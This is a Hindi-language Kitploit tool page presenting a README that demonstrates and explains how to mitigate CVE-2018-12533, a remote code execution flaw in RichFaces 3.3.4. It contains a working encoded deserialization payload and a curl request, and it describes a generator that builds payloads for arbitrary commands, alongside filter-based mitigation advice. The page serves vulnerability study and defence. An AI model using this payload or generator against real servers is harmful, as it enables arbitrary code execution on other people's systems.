Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
richfaces-vulnerability-cve-2018-12533-rf-14310 | Kitploit
उपकरण/GitHubGitHub/mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षा
GitHubmhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310

richfaces-vulnerability-cve-2018-12533-rf-14310

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
11 साल पहलेअभी तक समीक्षित नहीं

RichFaces 3.3.4 में मौजूद रिमोट कोड निष्पादन (RCE) भेद्यता का प्रदर्शन तथा इसे कैसे कम करें और/या ब्लॉक करें

  • हमले का उदाहरण
  • रिपॉजिटरी क्लोन करें
  • पेलोड को डिकोड करना
  • Java क्लास को डिसीरियलाइज़ करना
  • भेद्यता का परीक्षण करने के लिए पेलोड बनाना
  • कैसे कम करें?
    • अगर आपको वास्तव में इस एंडपॉइंट की आवश्यकता है
    • अगर आपको इस एंडपॉइंट की आवश्यकता नहीं है
  • निष्पादन प्रवाह को समझना
  • इस सुविधा का उपयोग कौन करता है?
  • सुझाव
  • संबंधित लिंक

CVE-2018-12533 के विवरण। RichFaces के अन्य संस्करण भी असुरक्षित हैं, जैसा कि यहाँ देखा जा सकता है।

हमले का उदाहरण

root@kitploit:~
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"

DATA/ के बाद और .seam से पहले तक का हिस्सा हमले का पेलोड है। यह मात्र एक सीरियलाइज़्ड, ज़िप की गई और Base64 में एन्कोडेड Java क्लास है। यह RichFaces द्वारा URL के अनुकूल बनाने के लिए थोड़े संशोधित प्रारूप वाला Base64 है।

इस क्लास में Expression Language प्रारूप में एक कमांड लाइन होती है जिसे एप्लिकेशन द्वारा, विशेष रूप से RichFaces द्वारा निष्पादित किया जाता है, और यही समस्या है, क्योंकि सर्वर पर मनमाना कोड निष्पादित किया जा सकता है।

उपरोक्त पेलोड में एन्कोड किया गया कमांड touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458 है (केवल प्रदर्शन उद्देश्य के लिए) और हम इसे आगे देखेंगे।

रिपॉजिटरी क्लोन करें

root@kitploit:~
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310

पेलोड को डिकोड करना

root@kitploit:~
echo "${PAYLOAD_BASE64_RICHFACES}" | \
    sed 's/-/+/g' | \
    sed 's#!#/#g' | \
    sed 's/_/=/g' | \
    base64 -d | \
    zlib-flate -uncompress > UmaClasse.serialized-class.bin

यह पेलोड को RichFaces के Base64 प्रारूप से मानक Base64 प्रारूप में परिवर्तित करता है। Base64 को डिकोड करता है, जो इस मामले में एक ज़िप की गई बाइनरी है, फिर उसे अनज़िप करता है, जिससे सीरियलाइज़्ड Java क्लास की बाइनरी प्राप्त होती है।

Java क्लास को डिसीरियलाइज़ करना

यहाँ हम पेलोड के अंदर मौजूद दुर्भावनापूर्ण कमांड देखेंगे।

नीचे दिया गया कमांड क्लास के सभी एट्रिब्यूट और क्लास में परिभाषित उनके संबंधित प्रकार दिखाएगा। यह रनटाइम पर प्रकार प्रदर्शित नहीं करता; यदि आप नहीं जानते कि इसका क्या अर्थ है, तो कोई बात नहीं।

यहाँ हम JBang की बदौलत Java कोड को स्क्रिप्ट की तरह निष्पादित कर रहे हैं

root@kitploit:~
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin

आउटपुट कुछ इस प्रकार है:

root@kitploit:~
Objeto java convertido para JSON:
{
  "_width (int)": 111,
  "_height (int)": 31,
  "_data (java.lang.Object)": null,
  "_format (int)": 1,
  "_paint (java.lang.Object)": {
    "className (java.lang.String)": null,
    "savedState (java.io.Serializable)": {
      "m (javax.el.MethodExpression)": {
        "attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
        "orig (javax.el.MethodExpression)": {
          "expectedType (java.lang.Class)": null,
          "expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
          "fnMapper (javax.el.FunctionMapper)": null,
          "varMapper (javax.el.VariableMapper)": null,
          "paramTypes ([Ljava.lang.Class;)": [
            "java.awt.Graphics2D",
            "java.lang.Object"
          ]
        }
      }
    }
  },
  "cacheable (boolean)": false,
  "_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class

⚠️ मुख्य बिंदु _paint.savedState.m.orig.expr एट्रिब्यूट है, जहाँ दुर्भावनापूर्ण कोड स्थित है, जो इस उदाहरण में केवल एक हानिरहित कोड है जो डिस्क पर एक फ़ाइल बनाता है: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458

भेद्यता का परीक्षण करने के लिए पेलोड बनाना

root@kitploit:~
chmod +x Generator_Paint2DResourceImageData.java

./Generator_Paint2DResourceImageData.java
# ou
./Generator_Paint2DResourceImageData.java <um comando aqui>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui

आउटपुट आपको वे कमांड दिखाएगा जिन्हें आपको एक असुरक्षित सर्वर के विरुद्ध निष्पादित करना है। केवल URL समायोजित करें।

कैसे कम करें?

अगर आपको वास्तव में इस एंडपॉइंट की आवश्यकता है

एक कम सरल और अधिक कुशल विकल्प है RichFaces के कोड में संशोधन करके कुछ हैंडलिंग करना। नीचे प्रासंगिक स्टैक दिया गया है।

दूसरा विकल्प, जो पिछले विकल्प से अधिक सरल है, एक फ़िल्टर (javax.servlet.Filter) बनाना है, जो केवल उस पथ पर कार्य करेगा, पथ में मौजूद Base64 को डिसीरियलाइज़ करेगा और यह उचित जाँच करेगा कि अनुरोध को आगे बढ़ने दिया जाए या अस्वीकार किया जाए। यह ज़ोर देकर कहना महत्वपूर्ण है कि डिसीरियलाइज़ेशन LookAheadObjectInputStream क्लास के माध्यम से होना चाहिए, जैसा कि org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String) में किया जाता है, ताकि डिसीरियलाइज़ेशन के दौरान सुरक्षा समस्याओं से यथासंभव बचा जा सके, उदाहरण के लिए दुर्भावनापूर्ण कोड निष्पादन।

अगर आपको इस एंडपॉइंट की आवश्यकता नहीं है

एक विकल्प एप्लिकेशन के सामने मौजूद किसी प्रॉक्सी पर endpoint के पथ को ब्लॉक करना है।

एक और विकल्प, जो मुझे लगता है कि लागू करने लायक है, लेकिन जो पहले विकल्प की आवश्यकता को समाप्त नहीं करता, वह है एक फ़िल्टर (javax.servlet.Filter) बनाना, जो केवल उस पथ पर कार्य करेगा और पहुँच को ब्लॉक कर देगा। ब्लॉक करने में केवल अनुरोध का जवाब देना शामिल है, फ़िल्टर श्रृंखला को आगे निष्पादित किए बिना। आप body में एक टेक्स्ट रख सकते हैं और HTTP स्टेटस कोड 410 (Gone) का उपयोग कर सकते हैं। याद रखें कि यह फ़िल्टर एप्लिकेशन के web.xml में परिभाषित होना चाहिए। इस फ़िल्टर का एक उदाहरण: PathBlockerFilter।

यदि आप JBoss EAP का उपयोग करते हैं, तो यहाँ बताया गया फ़िल्टर एक वाल्व (valve) के रूप में लागू किया जा सकता है (बदलाव न्यूनतम है), और:

  • यह web.xml में परिभाषित फ़िल्टर से पहले निष्पादित होगा
  • इसे jboss-web.xml फ़ाइल में पहले <valve> के रूप में परिभाषित किया जाना चाहिए, या
  • इसे standalone.xml (या domain.xml) में urn:jboss:domain:web सबसिस्टम में <valve टैग के माध्यम से परिभाषित किया जा सकता है
  • इस वाल्व का उदाहरण: PathBlockerValve

निष्पादन प्रवाह को समझना

tl;dr: दुर्भावनापूर्ण कोड org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext) मेथड द्वारा paint.invoke(facesContext, new Object[] {graphics,data._data}); पंक्ति में निष्पादित किया जाता है।

जब HTTP अनुरोध किया जाता है, तो यह नीचे दिए गए स्टैक के अनुसार org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String) मेथड तक पहुँचता है:

root@kitploit:~
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
  owns: org.apache.coyote.Request  (id=27053)
  org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
  1. dataString = key.substring(dataStart); पंक्ति में RichFaces प्रारूप का Base64 निकाला जाता है (याद रखें कि यह Base64 अंततः एक Java ऑब्जेक्ट है जिसे सीरियलाइज़ और ज़िप किया गया था);
  2. objectArray = decrypt(dataArray) पंक्ति में यह Base64 डिकोड और डीकंप्रेस किया जाता है;
  3. data = in.readObject() पंक्ति में दुर्भावनापूर्ण कोड वाला Java ऑब्जेक्ट डिसीरियलाइज़ किया जाता है, अर्थात ऑब्जेक्ट का इंस्टेंस प्राप्त होता है।

उसके बाद अनुरोध नीचे दिए गए स्टैक के अनुसार org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext) मेथड तक पहुँचता है:

root@kitploit:~
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
  owns: org.apache.coyote.Request  (id=27053)
  org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
  org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
  org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141

⚠️ फिर paint.invoke(facesContext, new Object[] {graphics,data._data}); पंक्ति में दुर्भावनापूर्ण कोड अंततः निष्पादित होता है।

इस सुविधा का उपयोग कौन करता है?

मैं एक उदाहरण दूंगा, rich:paint2D कंपोनेंट: https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D

सुझाव

एप्लिकेशन को प्राप्त पेलोड को org.ajax4jsf.resource.ResourceBuilderImpl क्लास के लिए DEBUG लॉग सक्षम करके देखा जा सकता है।

संबंधित लिंक

  • https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html (मुख्य)
  • https://seclists.org/fulldisclosure/2020/Mar/21
  • https://github.com/redtimmy/Richsploit
  • https://web.archive.org/web/20200315184606/https://www.redtimmy.com/java-hacking/richsploit-one-tool-to-exploit-all-versions-of-richfaces-ever-released/
टूल डाउनलोड करें